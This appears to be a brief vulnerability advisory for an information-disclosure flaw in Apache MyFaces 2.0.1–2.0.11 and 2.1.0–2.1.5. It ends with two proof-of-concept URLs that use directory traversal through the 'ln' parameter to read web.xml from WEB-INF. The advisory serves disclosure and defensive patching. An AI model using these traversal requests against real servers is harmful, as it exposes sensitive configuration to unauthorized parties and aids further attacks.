source: http://www.securityfocus.com/bid/51939/info

Apache MyFaces is prone to a remote information-disclosure vulnerability.

Remote attackers can exploit this issue to obtain sensitive information that may aid in further attacks.

The following versions are affected:

Apache MyFaces 2.0.1 through 2.0.11
Apache MyFaces 2.1.0 through 2.1.5 

http://www.example.com/faces/javax.faces.resource/web.xml?ln=../WEB-INF
http://www.example.com/faces/javax.faces.resource/web.xml?ln=..\\WEB-INF